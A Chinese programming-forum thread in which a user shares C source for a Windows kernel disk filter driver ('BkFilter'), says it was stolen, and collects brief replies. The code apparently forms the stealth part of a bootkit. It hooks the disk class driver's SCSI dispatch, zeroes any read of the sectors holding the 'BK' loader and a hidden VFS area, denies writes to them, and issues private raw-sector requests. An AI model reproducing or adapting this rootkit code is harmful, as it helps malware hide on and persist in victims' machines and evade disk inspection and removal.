乔丹二世 发表于 2013-10-29 15:58:09

一份磁盘级过滤的代码

本帖最后由 乔丹二世 于 2013-10-29 16:01 编辑

听说TA在烦如何过滤SCSI请求块(SRB),于是本大牛乔二再次发出找骂神功,翻出了一份处理SRB的代码://////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// BkFilter project
//      
// module: bkfilter.c
// $$$$Revision: 67 $$$$
// $$$$Date: 2012-05-29 22:20:56 +0400 (Вт, 29 май 2012) $$$$
// description:
//      Disk filter driver.
//      Protects BK initial loader and VFS area (if any) from unauthorized reading and writing.


#include <ntddk.h>
#include <ntdddisk.h>
#include <ntddscsi.h>
#include <srb.h>
#include <scsi.h>

#include "version.h"
#include "ntddkex.h"
#include "kdbg.h"
#include "..\bkdrv\bkdrv.h"
#include "..\bkdrv\khook.h"

#include "bklib.h"
#include "bkfilter.h"


PDEVICE_OBJECT IoGetLowerDeviceObject(
__inPDEVICE_OBJECT DeviceObject
);


#define                wczBootDevice                L"\\Device\\Harddisk0\\DR0"
#define                wczHarddisk0                L"\\Device\\Harddisk0"
#define                wczHarddiskVolume1      L"\\Device\\HarddiskVolume1"

#define                NTFS_LOADER_SIZE      16      // sectors


BK_FS_AREA                g_FsArea;
PDEVICE_OBJECT      g_ClassDevice = NULL;
ULONG                        g_MySrbMark = 0;


NTSTATUS my_DispatchScsi(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
HOOK_FUNCTION hook_DispatchScsi = {NULL, NULL, &my_DispatchScsi, NULL, NULL};
static HOOK ClassDispatchScsi = DEFINE_HOOK(&hook_DispatchScsi, HOOK_TYPE_POINTER);


// ---- Predefinitions ----------------------------------------------------------------------------------------------------

PUNICODE_STRING      AllocUniString(VOID);
VOID FreeUniString(PUNICODE_STRING      pUs);
LONG volatile      g_WorkerEntryCount;


// ---- Debug support routines --------------------------------------------------------------------------------------------


#if DBG
VOID
      DbgPrintCdb(
               IN PCDB Cdb,
               IN ULONG Length
               )
{
      DbgPrint("\tCdb:\n\t\tOpCode: %02X\n",
                Cdb->CDB6GENERIC.OperationCode);
}

PSTR g_SrbFlags[]={
      "0x00000001",
      "SRB_FLAGS_QUEUE_ACTION_ENABLE",
      "SRB_FLAGS_DISABLE_DISCONNECT",
      "SRB_FLAGS_DISABLE_SYNCH_TRANSFER",

      "SRB_FLAGS_BYPASS_FROZEN_QUEUE",
      "SRB_FLAGS_DISABLE_AUTOSENSE",
      "SRB_FLAGS_DATA_IN",
      "SRB_FLAGS_DATA_OUT",

      "SRB_FLAGS_NO_QUEUE_FREEZE",
      "SRB_FLAGS_ADAPTER_CACHE_ENABLE",
      "SRB_FLAGS_FREE_SENSE_BUFFER",
      "0x00000800",

      "0x00001000",
      "0x00002000",
      "0x00004000",
      "0x00008000",

      "SRB_FLAGS_IS_ACTIVE",
      "SRB_FLAGS_ALLOCATED_FROM_ZONE",
      "SRB_FLAGS_SGLIST_FROM_POOL",
      "SRB_FLAGS_BYPASS_LOCKED_QUEUE",

      "SRB_FLAGS_NO_KEEP_AWAKE",
      "SRB_FLAGS_PORT_DRIVER_ALLOCSENSE",
      "SRB_FLAGS_PORT_DRIVER_SENSEHASPORT",
      "SRB_FLAGS_DONT_START_NEXT_PACKET",

      "PORT 0x01000000",
      "PORT 0x02000000",
      "PORT 0x04000000",
      "PORT 0x08000000",

      "CLASS 0x10000000",
      "CLASS 0x20000000",
      "CLASS 0x40000000",
      "CLASS 0x80000000"
};

VOID
      DbgPrintSrbFlags(
                IN ULONG SrbFlags
                )
{
      ULONG i;
      DbgPrint("\tSrbFlags: ");

      if(!SrbFlags)
                DbgPrint("SRB_FLAGS_NO_DATA_TRANSFER");
      else
      {
                for(i=0;SrbFlags;++i,SrbFlags>>=1)
                {
                        if(SrbFlags&1)
                        {
                              DbgPrint("%s",g_SrbFlags);
                              if(SrbFlags&0xFFFFFFFE)
                                        DbgPrint("|\n\t\t");
                        }
                }
      }
      DbgPrint("\n");
}

PSTR g_SrbFuncs[]={
      "SRB_FUNCTION_EXECUTE_SCSI",
      "SRB_FUNCTION_CLAIM_DEVICE",
      "SRB_FUNCTION_IO_CONTROL",
      "SRB_FUNCTION_RECEIVE_EVENT",
      "SRB_FUNCTION_RELEASE_QUEUE",
      "SRB_FUNCTION_ATTACH_DEVICE",
      "SRB_FUNCTION_RELEASE_DEVICE",
      "SRB_FUNCTION_SHUTDOWN",
      "SRB_FUNCTION_FLUSH",
      "SRB_FUNCTION_ABORT_COMMAND",
      "SRB_FUNCTION_RELEASE_RECOVERY",
      "SRB_FUNCTION_RESET_BUS",
      "SRB_FUNCTION_RESET_DEVICE",
      "SRB_FUNCTION_TERMINATE_IO",
      "SRB_FUNCTION_FLUSH_QUEUE",
      "SRB_FUNCTION_REMOVE_DEVICE",
      "SRB_FUNCTION_WMI",
      "SRB_FUNCTION_LOCK_QUEUE",
      "SRB_FUNCTION_UNLOCK_QUEUE",
      "SRB_FUNCTION_RESET_LOGICAL_UNIT"
};

VOID
      DbgPrintSrb(
                IN PSCSI_REQUEST_BLOCK Srb
                )

{
      DbgPrint("SRB:\n\tLength: %d\n\tFunction: %s\n\tPathId: %d\n\tTargetId: %d\n\tLun: %d\n",
                Srb->Length,Srb->Function>SRB_FUNCTION_RESET_LOGICAL_UNIT?"Invalid function"
                :g_SrbFuncs, Srb->PathId,Srb->TargetId,Srb->Lun);
      DbgPrint("\tCdbLength: %d\n\tSenseInfoBufferLength: %d\n", Srb->CdbLength,Srb->SenseInfoBufferLength);
      DbgPrintSrbFlags(Srb->SrbFlags);
      DbgPrint("\tDataTransferLength: %d\n\tTimeOutValue: %d\n", Srb->DataTransferLength,Srb->TimeOutValue);
      DbgPrintCdb((PCDB)Srb->Cdb,Srb->CdbLength);
}

#endif


//
//      Returns a pointer to the next-lower-level device object on the driver stack if any.
//      Reurns STATUS_NOT_FOUND if the next-lower-level driver is not loaded or
//         the specified device is the lowest device object in the driver stack
//
NTSTATUS GetLowerDeviceObjectByName(
      IN      PUNICODE_STRING uDeviceName,      // name of a device
      OUT      PDEVICE_OBJECT* pDeviceObj                // receives a pointer to the next-lower-level device object
      )
{
      HANDLE                hFile;
      NTSTATUS      ntStatus;
      PFILE_OBJECT      FileObj;
      PDEVICE_OBJECT      DeviceObj = NULL;
      OBJECT_ATTRIBUTES      oa;
      IO_STATUS_BLOCK                IoStatus;

      InitializeObjectAttributes(&oa, uDeviceName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

      ntStatus = ZwOpenFile(&hFile, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &IoStatus,
                FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT);

      if (NT_SUCCESS(ntStatus))
      {
                ntStatus = ObReferenceObjectByHandle(hFile, GENERIC_READ, *IoFileObjectType, KernelMode, &FileObj, NULL);
                if (NT_SUCCESS(ntStatus))
                {                        
                        if (DeviceObj = IoGetLowerDeviceObject(FileObj->DeviceObject))
                              *pDeviceObj = DeviceObj;
                        else
                              ntStatus = STATUS_NOT_FOUND;
                        ObDereferenceObject(FileObj);
                }
                ZwClose(hFile);
      }      // if (NT_SUCCESS(ntStatus))

      return(ntStatus);
}      


NTSTATUS      FltAttachClassDeviceDriver(PUNICODE_STRING      uDeviceName)
{
      NTSTATUS                ntStatus;
      PDRIVER_OBJECT      DriverObj;
      LARGE_INTEGER      TickCount;

      if (NT_SUCCESS(ntStatus = GetLowerDeviceObjectByName(uDeviceName, &g_ClassDevice)))
      {
                DriverObj = g_ClassDevice->DriverObject;

                // Initializing BK internal request mark value
                KeQueryTickCount(&TickCount);
                g_MySrbMark = TickCount.LowPart;

                // Setting hooks
                if (DriverObj->MajorFunction)
                        SetHook(&ClassDispatchScsi, &DriverObj->MajorFunction, DriverObj->DriverStart);
      }

      return(ntStatus);
}


VOID      FltReplaceRead(
      ULONGLONG      StartBlock,
      ULONG                NumberBlocks,
      PCHAR                DataBuffer,
      ULONG                Length
      )
{
      ULONG      Skipped;
      PCHAR      FillBuffer;
      ULONG      FillLength = 0;

      if ((StartBlock + NumberBlocks) > g_FsArea.StartSector && StartBlock < (g_FsArea.StartSector + g_FsArea.NumberOfSectors))
      {
                FillBuffer = DataBuffer;
                FillLength = Length;

                if (StartBlock < g_FsArea.StartSector)
                {
                        Skipped = ((ULONG)(g_FsArea.StartSector - StartBlock)) * g_FsArea.BytesPerSector;
                        ASSERT(FillLength > Skipped);
                        FillBuffer += Skipped;
                        FillLength -= Skipped;
                }

                if ((StartBlock + NumberBlocks) > (g_FsArea.StartSector + g_FsArea.NumberOfSectors))
                {
                        Skipped = (ULONG)((StartBlock + NumberBlocks) - (g_FsArea.StartSector + g_FsArea.NumberOfSectors));
                        Skipped *= g_FsArea.BytesPerSector;
                        ASSERT(FillLength > Skipped);
                        FillLength -= Skipped;
                }

                if (FillLength)
                {
                        RtlZeroMemory(FillBuffer, FillLength);
                        KdPrint(("BKFLT: Replace %u bytes read starting from sector %u.\n", FillLength, (ULONG)StartBlock + (ULONG)(FillBuffer - DataBuffer) / g_FsArea.BytesPerSector));
                }
      }

      if (((StartBlock + NumberBlocks) > g_FsArea.BootSector && StartBlock < (g_FsArea.BootSector + 16)))
      {
                FillBuffer = DataBuffer;
                FillLength = Length;

                if (StartBlock < g_FsArea.BootSector)
                {
                        Skipped = ((ULONG)(g_FsArea.BootSector - StartBlock)) *g_FsArea.BytesPerSector;
                        ASSERT(FillLength > Skipped);
                        FillBuffer += Skipped;
                        FillLength -= Skipped;
                }

                if ((StartBlock + NumberBlocks) > (g_FsArea.BootSector + 16))
                {
                        Skipped = (ULONG)((StartBlock + NumberBlocks) - (g_FsArea.BootSector + 16));
                        Skipped *= g_FsArea.BytesPerSector;
                        ASSERT(FillLength > Skipped);
                        FillLength -= Skipped;
                }

                KdPrint(("BKFLT: Replace %u bytes read starting from sector %u.\n", FillLength, (ULONG)StartBlock + (ULONG)(FillBuffer - DataBuffer) / g_FsArea.BytesPerSector));
      }      // if ((StartBlock + NumberBlocks) > g_FsArea.StartSector && StartBlock < (g_FsArea.StartSector + g_FsArea.NumberOfSectors))               
}


BOOL      FltIsWithinBkArea(
      ULONGLONG      StartBlock,
      ULONG                NumberBlocks
      )
{
      BOOL Ret = FALSE;

      if (((StartBlock + NumberBlocks) > g_FsArea.StartSector &&         StartBlock < (g_FsArea.StartSector + g_FsArea.NumberOfSectors)) ||
                ((StartBlock + NumberBlocks) > g_FsArea.BootSector && StartBlock < (g_FsArea.BootSector + 16)))
                Ret = TRUE;

      return(Ret);
}

//
//      Parses specified SRB extracting starting block address, number of blocks, buffer and it's length.
//
UCHAR FltParseSrb(
      IN      PIRP                Irp,
      OUT      PULONGLONG      pStartBlock,
      OUT      PULONG                pNumberBlocks,
      OUT      PCHAR*                pDataBuffer,
      OUT      PULONG                pLength
      )
{               
      PIO_STACK_LOCATION      IrpStack = IoGetCurrentIrpStackLocation(Irp);
      PSCSI_REQUEST_BLOCK      Srb = IrpStack->Parameters.Scsi.Srb;
      PCDB      pCdb = (PCDB)Srb->Cdb;
      UCHAR      CdbOpCode = ((PCDB)Srb->Cdb)->CDB6GENERIC.OperationCode;

      LARGE_INTEGER      LogicalBlockAddr;
      ULONG      NumberBlocks = 0;
      PCHAR      UserBuffer;


      if (CdbOpCode == SCSIOP_READ || CdbOpCode == SCSIOP_WRITE ||
                CdbOpCode == SCSIOP_READ_DATA_BUFF || CdbOpCode == SCSIOP_WRITE_DATA_BUFF)
      {
                // Checking if current SRB is not marked as BK internal request
                if (Srb->QueueSortKey != g_MySrbMark)
                {
                        if ((Irp->MdlAddress) && (UserBuffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, LowPagePriority)))
                        {
                              //      DataBuffer contains the same as MmGetMdlVirtualAddress(Irp->Mdl) + offset (where offset is non-zero if
                              //                SRB is a result of breaking a big request to smaller chunks) or NULL.
                              if (Srb->DataBuffer)
                                        UserBuffer = Srb->DataBuffer;

                              if ( Srb->CdbLength == 16 )
                              {
                                        REVERSE_BYTES_QUAD(&LogicalBlockAddr, pCdb->CDB16.LogicalBlock);
                                        REVERSE_BYTES(&NumberBlocks, pCdb->CDB16.TransferLength);
                              }
                              else if ( Srb->CdbLength == 10 )
                              {
                                        LogicalBlockAddr.HighPart = 0;
                                        ((PFOUR_BYTE)&LogicalBlockAddr.LowPart)->Byte0=pCdb->CDB10.LogicalBlockByte3;
                                        ((PFOUR_BYTE)&LogicalBlockAddr.LowPart)->Byte1=pCdb->CDB10.LogicalBlockByte2;
                                        ((PFOUR_BYTE)&LogicalBlockAddr.LowPart)->Byte2=pCdb->CDB10.LogicalBlockByte1;
                                        ((PFOUR_BYTE)&LogicalBlockAddr.LowPart)->Byte3=pCdb->CDB10.LogicalBlockByte0;
                                        ((PFOUR_BYTE)&NumberBlocks)->Byte0=pCdb->CDB10.TransferBlocksLsb;
                                        ((PFOUR_BYTE)&NumberBlocks)->Byte1=pCdb->CDB10.TransferBlocksMsb;
                              }
                              else
                              {
                                        ASSERT(FALSE);
                              }

                              *pStartBlock      = (ULONGLONG)LogicalBlockAddr.QuadPart;
                              *pNumberBlocks      = NumberBlocks;
                              *pLength = Srb->DataTransferLength;
                              *pDataBuffer = UserBuffer;
                        }      // if ((Irp->MdlAddress) && (UserBuffer = MmGetSystemAddressForMdlSafe(MdlAddress, LowPagePriority)))
                        else
                              // No User buffer specified, skipping
                              CdbOpCode = SCSIOP_TEST_UNIT_READY;
                }      // if (Srb->QueueSortKey != g_MySrbMark)
                else
                {
                        // Restoring Srb->QueueSortKey value
                        ((PFOUR_BYTE)&Srb->QueueSortKey)->Byte0 = pCdb->CDB10.LogicalBlockByte3;
                        ((PFOUR_BYTE)&Srb->QueueSortKey)->Byte1 = pCdb->CDB10.LogicalBlockByte2;
                        ((PFOUR_BYTE)&Srb->QueueSortKey)->Byte2 = pCdb->CDB10.LogicalBlockByte1;
                        ((PFOUR_BYTE)&Srb->QueueSortKey)->Byte3 = pCdb->CDB10.LogicalBlockByte0;

                        // Skipping current SRB
                        CdbOpCode = SCSIOP_TEST_UNIT_READY;
                }
      }      // if (CdbOpCode == SCSIOP_READ || CdbOpCode == SCSIOP_WRITE ||

      return(CdbOpCode);
}



NTSTATUS FltIrpCompletionRoutine(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp,
    IN PVOID Context
    )
{
      NTSTATUS      ntStatus1, ntStatus = STATUS_MORE_PROCESSING_REQUIRED;
      PFLT_COMPLETION_CONTEXT FltCtx = (PFLT_COMPLETION_CONTEXT)Context;
      PIO_STACK_LOCATION                IrpStack = IoGetCurrentIrpStackLocation(Irp);

      // restore saved completion routine, context and control flags
      IrpStack->CompletionRoutine = FltCtx->CompletionRoutine;
      IrpStack->Context = FltCtx->CompletionContext;
      IrpStack->Control = FltCtx->Control;

      ntStatus1 = Irp->IoStatus.Status;

      if (NT_SUCCESS(ntStatus1))
      {
                PCHAR UserBuffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, LowPagePriority);
                FltReplaceRead(FltCtx->StartBlock, FltCtx->NumberBlocks, UserBuffer, FltCtx->Length);
      }               

      if (IrpStack->CompletionRoutine)
      {
                if ((NT_SUCCESS(ntStatus1) && (IrpStack->Control | SL_INVOKE_ON_SUCCESS)) ||
                        (ntStatus1 == STATUS_CANCELLED && (IrpStack->Control | SL_INVOKE_ON_CANCEL)) ||
                        (!NT_SUCCESS(ntStatus1) && ntStatus1 != STATUS_CANCELLED && (IrpStack->Control | SL_INVOKE_ON_ERROR))
                        )
                {
                        // Calling original IO completion routine
                        ntStatus = (IrpStack->CompletionRoutine)(DeviceObject, Irp, IrpStack->Context);
                }
      }      // if (IrpStack->CompletionRoutine)

      MyFreePool(FltCtx);

    return(ntStatus);
}


NTSTATUS FltForwardScsiIrpAsync(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP                        Irp,
      IN ULONGLONG      StartBlock,
      ULONG                        NumberBlocks,
      PCHAR                        DataBuffer,
      ULONG                        Length
    )
{
      NTSTATUS      ntStatus = STATUS_INSUFFICIENT_RESOURCES;
      PFLT_COMPLETION_CONTEXT      FltCtx;
      PIO_STACK_LOCATION                IrpStack = IoGetCurrentIrpStackLocation(Irp);


      if (FltCtx = MyAllocatePool(NonPagedPool, sizeof(FLT_COMPLETION_CONTEXT)))
      {
                FltCtx->StartBlock = StartBlock;
                FltCtx->NumberBlocks = NumberBlocks;
                FltCtx->DataBuffer = DataBuffer;
                FltCtx->Length      = Length;

                // save previouse completion routine, context and control flags
                FltCtx->CompletionRoutine = IrpStack->CompletionRoutine;
                FltCtx->CompletionContext = IrpStack->Context;
                FltCtx->Control = IrpStack->Control;

                // set a completion routine, context and control flags
                IrpStack->CompletionRoutine = &FltIrpCompletionRoutine;
                IrpStack->Context = FltCtx;
                IrpStack->Control = SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR;

                // call the next lower device
                ntStatus = ((PDRIVER_DISPATCH)hook_DispatchScsi.Original)(DeviceObject, Irp);
      }
    return(ntStatus);

}      // FltProcessScsiIrpSynchronous



// ---- Filter API functions -------------------------------------------------------------------------------------------------

NTSTATUS FltIoCompleteCallback(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp,
    IN PVOID Context
    )
{
    Irp->UserIosb->Status = Irp->IoStatus.Status;
    Irp->UserIosb->Information = Irp->IoStatus.Information;
      KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);

      UNREFERENCED_PARAMETER(DeviceObject);
      UNREFERENCED_PARAMETER(Context);

    return STATUS_MORE_PROCESSING_REQUIRED;
}


NTSTATUS FltReadWriteSectors(
    IN ULONG MajorFunction,
    IN PVOID Buffer,
    IN ULONG SectorOffset,
    IN ULONG SectorCount
    )
{
    PCDB      Cdb;
    ULONG      Length;
      PMDL    Mdl;
    KEVENT      Event;
    PIRP      Irp;
      NTSTATUS      ntStatus = STATUS_INSUFFICIENT_RESOURCES;
      PSCSI_REQUEST_BLOCK Srb;
    IO_STATUS_BLOCK   IoStatus;
    PIO_STACK_LOCATIONIrpSp;
      PSENSE_DATA         SenseData;


      if (g_ClassDevice)
      {
                Length = SectorCount * g_FsArea.BytesPerSector;

                if (Srb = MyAllocatePool(NonPagedPool, sizeof(SCSI_REQUEST_BLOCK) + sizeof(SENSE_DATA)))
                {
                        RtlZeroMemory(Srb, sizeof(SCSI_REQUEST_BLOCK) + sizeof(SENSE_DATA));
                        SenseData = (PSENSE_DATA)(Srb + 1);

                        if (Irp = IoAllocateIrp(g_ClassDevice->StackSize, FALSE))
                        {
                                 if (Mdl = IoAllocateMdl(Buffer, Length, FALSE, FALSE, Irp))
                                 {
                                       MmProbeAndLockPages(Mdl, KernelMode, MajorFunction == IRP_MJ_WRITE ? IoReadAccess : IoWriteAccess);
                                 
                                       // Initializing the SRB
                                       Srb->Length = sizeof(SCSI_REQUEST_BLOCK);
                                       Srb->Function = SRB_FUNCTION_EXECUTE_SCSI;
                                       Srb->OriginalRequest = Irp;
                                       Srb->DataBuffer = Buffer;
                                                                        
                                       Srb->DataTransferLength = Length;
                                       Srb->QueueAction = SRB_SIMPLE_TAG_REQUEST;
                                       Srb->SrbStatus = SRB_STATUS_PENDING;
                                       Srb->ScsiStatus = STATUS_SUCCESS;
                                       Srb->SenseInfoBuffer = SenseData;
                                       Srb->SenseInfoBufferLength = sizeof(SENSE_DATA);

                                       if (MajorFunction == IRP_MJ_READ)
                                                 Srb->SrbFlags = SRB_FLAGS_DATA_IN;
                                       else
                                                 Srb->SrbFlags = SRB_FLAGS_DATA_OUT;
                                       
                                       Srb->SrbFlags = Srb->SrbFlags | 0x40000100;
                                       if (MajorFunction == IRP_MJ_READ)
                                                 Srb->SrbFlags |= SRB_FLAGS_ADAPTER_CACHE_ENABLE;
                                       else
                                                 Srb->SrbFlags |= SRB_FLAGS_DISABLE_AUTOSENSE;
                                       
                                       Srb->TimeOutValue = (Length / 1024) + 1;
                                       Srb->CdbLength = 10;

                                       // Marking SRB as BK internal request to transfer it to underlying driver without any processing
                                       Srb->QueueSortKey = g_MySrbMark;
                                       
                                       // Initializing the CDB
                                       Cdb = (PCDB)Srb->Cdb;
                                       Cdb->CDB10.OperationCode = (UCHAR)((MajorFunction - IRP_MJ_READ) + (MajorFunction - IRP_MJ_READ) + SCSIOP_READ);
                                       Cdb->CDB10.LogicalUnitNumber = 4;

                                       Cdb->CDB10.LogicalBlockByte0 = (UCHAR)(SectorOffset >> 24);
                                       Cdb->CDB10.LogicalBlockByte1 = (UCHAR)(SectorOffset >> 16);
                                       Cdb->CDB10.LogicalBlockByte2 = (UCHAR)(SectorOffset >> 8);
                                       Cdb->CDB10.LogicalBlockByte3 = (UCHAR)SectorOffset;
                                       
                                       Cdb->CDB10.TransferBlocksMsb = (UCHAR)(SectorCount >> 8);
                                       Cdb->CDB10.TransferBlocksLsb = (UCHAR)SectorCount;

                                       // Initializing the IRP
                                       ASSERT(Irp->MdlAddress == Mdl);
                                       Irp->UserIosb = &IoStatus;
                                       Irp->UserEvent = &Event;
                                       Irp->IoStatus.Status = STATUS_SUCCESS;
                                       Irp->IoStatus.Information = 0;
                                       Irp->Flags = IRP_SYNCHRONOUS_API | IRP_NOCACHE;
                                       Irp->AssociatedIrp.SystemBuffer = NULL;
                                       Irp->Cancel = FALSE;
                                       Irp->RequestorMode = KernelMode;
                                       Irp->CancelRoutine = NULL;
                                       Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
                                       
                                       IrpSp = IoGetNextIrpStackLocation(Irp);
                                       IrpSp->DeviceObject = g_ClassDevice;
                                       IrpSp->MajorFunction = IRP_MJ_INTERNAL_DEVICE_CONTROL;
                                       IrpSp->Parameters.Scsi.Srb = Srb;
                                       
                                           KeInitializeEvent(&Event, NotificationEvent, FALSE);
                                       IoSetCompletionRoutine(Irp, FltIoCompleteCallback, Srb, TRUE, TRUE, TRUE);
                                       
                                          // Calling the target class device
                                       ntStatus = IoCallDriver(g_ClassDevice, Irp);
                                       
                                       if (ntStatus == STATUS_PENDING)
                                       {
                                                 KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
                                                 ntStatus = IoStatus.Status;
                                       }
                                       
                                       if (Srb->SenseInfoBuffer != SenseData)
                                       {
                                                 if (Srb->SenseInfoBuffer)                                       
                                                         MyFreePool(Srb->SenseInfoBuffer);
                                       }

                                       MmUnlockPages(Mdl);
                                       IoFreeMdl(Mdl);
                                 }      // if (Mdl = IoAllocateMdl(Buffer, Length, FALSE, FALSE, Irp))
                                 IoFreeIrp(Irp);
                        }      // if (Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE))
                        MyFreePool(Srb);
                }      // if (Srb = MyAllocatePool(NonPagedPool, sizeof(SCSI_REQUEST_BLOCK) + sizeof(SENSE_DATA)))
      }      // if (g_ClassDevice)

    return (ntStatus);
}

// ---- Filter hook functions ------------------------------------------------------------------------------------------------

//
//      Standard IRP_MJ_SCSI dispatch routine hook
//
NTSTATUS my_DispatchScsi(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    )
{
      NTSTATUS      ntStatus = STATUS_REQUEST_NOT_ACCEPTED;
      ULONGLONG      StartBlock;
      ULONG      NumberBlocks, Length;
      UCHAR      CdbOpCode;
      PCHAR      DataBuffer;
      
      ENTER_HOOK();

      if (DeviceObject == g_ClassDevice)
      {
                //DbgPrintSrb(Srb);

                CdbOpCode = FltParseSrb(Irp, &StartBlock, &NumberBlocks, &DataBuffer, &Length);

                if (CdbOpCode == SCSIOP_WRITE || CdbOpCode == SCSIOP_WRITE_DATA_BUFF)
                {
                        if (FltIsWithinBkArea(StartBlock, NumberBlocks))
                        {
                              ntStatus = STATUS_ACCESS_DENIED;
                              Irp->IoStatus.Status = ntStatus;
                              IoCompleteRequest(Irp, IO_NO_INCREMENT);
                              KdPrint(("BKFLT: Write from %u for %u sectors - blocked.\n", (ULONG)StartBlock, NumberBlocks));
                        }
                }      // if (CdbOpCode == SCSIOP_WRITE || CdbOpCode == SCSIOP_WRITE_DATA_BUFF)
                else if (CdbOpCode == SCSIOP_READ || CdbOpCode == SCSIOP_READ_DATA_BUFF)
                {
                        if (FltIsWithinBkArea(StartBlock, NumberBlocks))
                              ntStatus = FltForwardScsiIrpAsync(DeviceObject, Irp, StartBlock, NumberBlocks, DataBuffer, Length);

                }      // else if (CdbOpCode == SCSIOP_READ || CdbOpCode == SCSIOP_READ_DATA_BUFF)
      }      // if (DeviceObject == g_ClassDevice)

      if (ntStatus == STATUS_REQUEST_NOT_ACCEPTED)
                ntStatus = ((PDRIVER_DISPATCH)hook_DispatchScsi.Original)(DeviceObject, Irp);

      LEAVE_HOOK();

      return(ntStatus);
}      // my_DispatchScsi


// ---- Filter startup/cleanup -----------------------------------------------------------------------------------------------

NTSTATUS      FltStartup(IN PBK_FS_AREA FsArea)
{
      NTSTATUS      ntStatus = STATUS_INSUFFICIENT_RESOURCES;
      UNICODE_STRING      uDeviceName = RTL_CONSTANT_STRING(wczBootDevice);

      KdPrint(("BKFLT: BK filter driver started.\n"));

      HookInit();

      RtlMoveMemory(&g_FsArea, FsArea, sizeof(BK_FS_AREA));

      ntStatus = FltAttachClassDeviceDriver(&uDeviceName);

      KdPrint(("BKFLT: Driver entry finished with status %x\n", ntStatus));

      return(ntStatus);
}


VOID FltCleanup(VOID)
{
      RemoveAllHooks(NULL);
      WaitForHooks();

      KdPrint(("BKFLT: BK filter driver unloaded.\n"));
}其实源代码也是偷来的,不过不是我乔大牛偷来的:**** Hidden Message *****

bboyiori 发表于 2013-10-29 17:57:06

老代码了!

Tesla.Angela 发表于 2013-10-29 22:25:34

听说TA在烦如何过滤SCSI请求块(SRB),于是本大牛乔二再次发出找骂神功,翻出了一份处理SRB的代码:
“找骂神功”。。。

qqlinhai 发表于 2013-10-30 21:03:50

乔帮主功力深厚,围观一下降龙十八掌。。

乔丹二世 发表于 2013-11-3 08:14:05

Tesla.Angela 发表于 2013-10-29 22:25 static/image/common/back.gif
“找骂神功”。。。

是他妈的“找码”神功!代码的码!

乔丹二世 发表于 2013-11-3 08:14:25

bboyiori 发表于 2013-10-29 17:57 static/image/common/back.gif
老代码了!

比你年轻!!!!

abc13271552 发表于 2014-2-26 15:39:00

磁盘级过滤

lsj_pro 发表于 2014-2-27 09:46:11

哪里偷的,哈哈

mlyknown 发表于 2014-11-4 00:10:33

学习了

li53133 发表于 2015-8-14 02:21:23

谢谢分享

icew4y 发表于 2016-5-25 23:32:28

yimingqpa 发表于 2016-8-12 09:13:24

随便看看.               

lizhuowu 发表于 2016-8-12 23:40:55

其实源代码也是偷来的!!!当真?

wangyang 发表于 2016-12-8 10:26:01

大神你好

3207145141 发表于 2016-12-31 12:16:14

看看..谢谢.

freecat 发表于 2017-1-14 14:28:11

谢谢分享

sc12345 发表于 2018-1-9 18:57:20

谢谢分享!

Quinlan 发表于 2018-1-12 12:25:14

那是谁偷来的

zoandcom 发表于 2018-6-22 03:51:51

正要找相关驱动代码

liaodongling 发表于 2021-12-7 05:51:15

围观一下降龙十八掌
页: [1]
查看完整版本: 一份磁盘级过滤的代码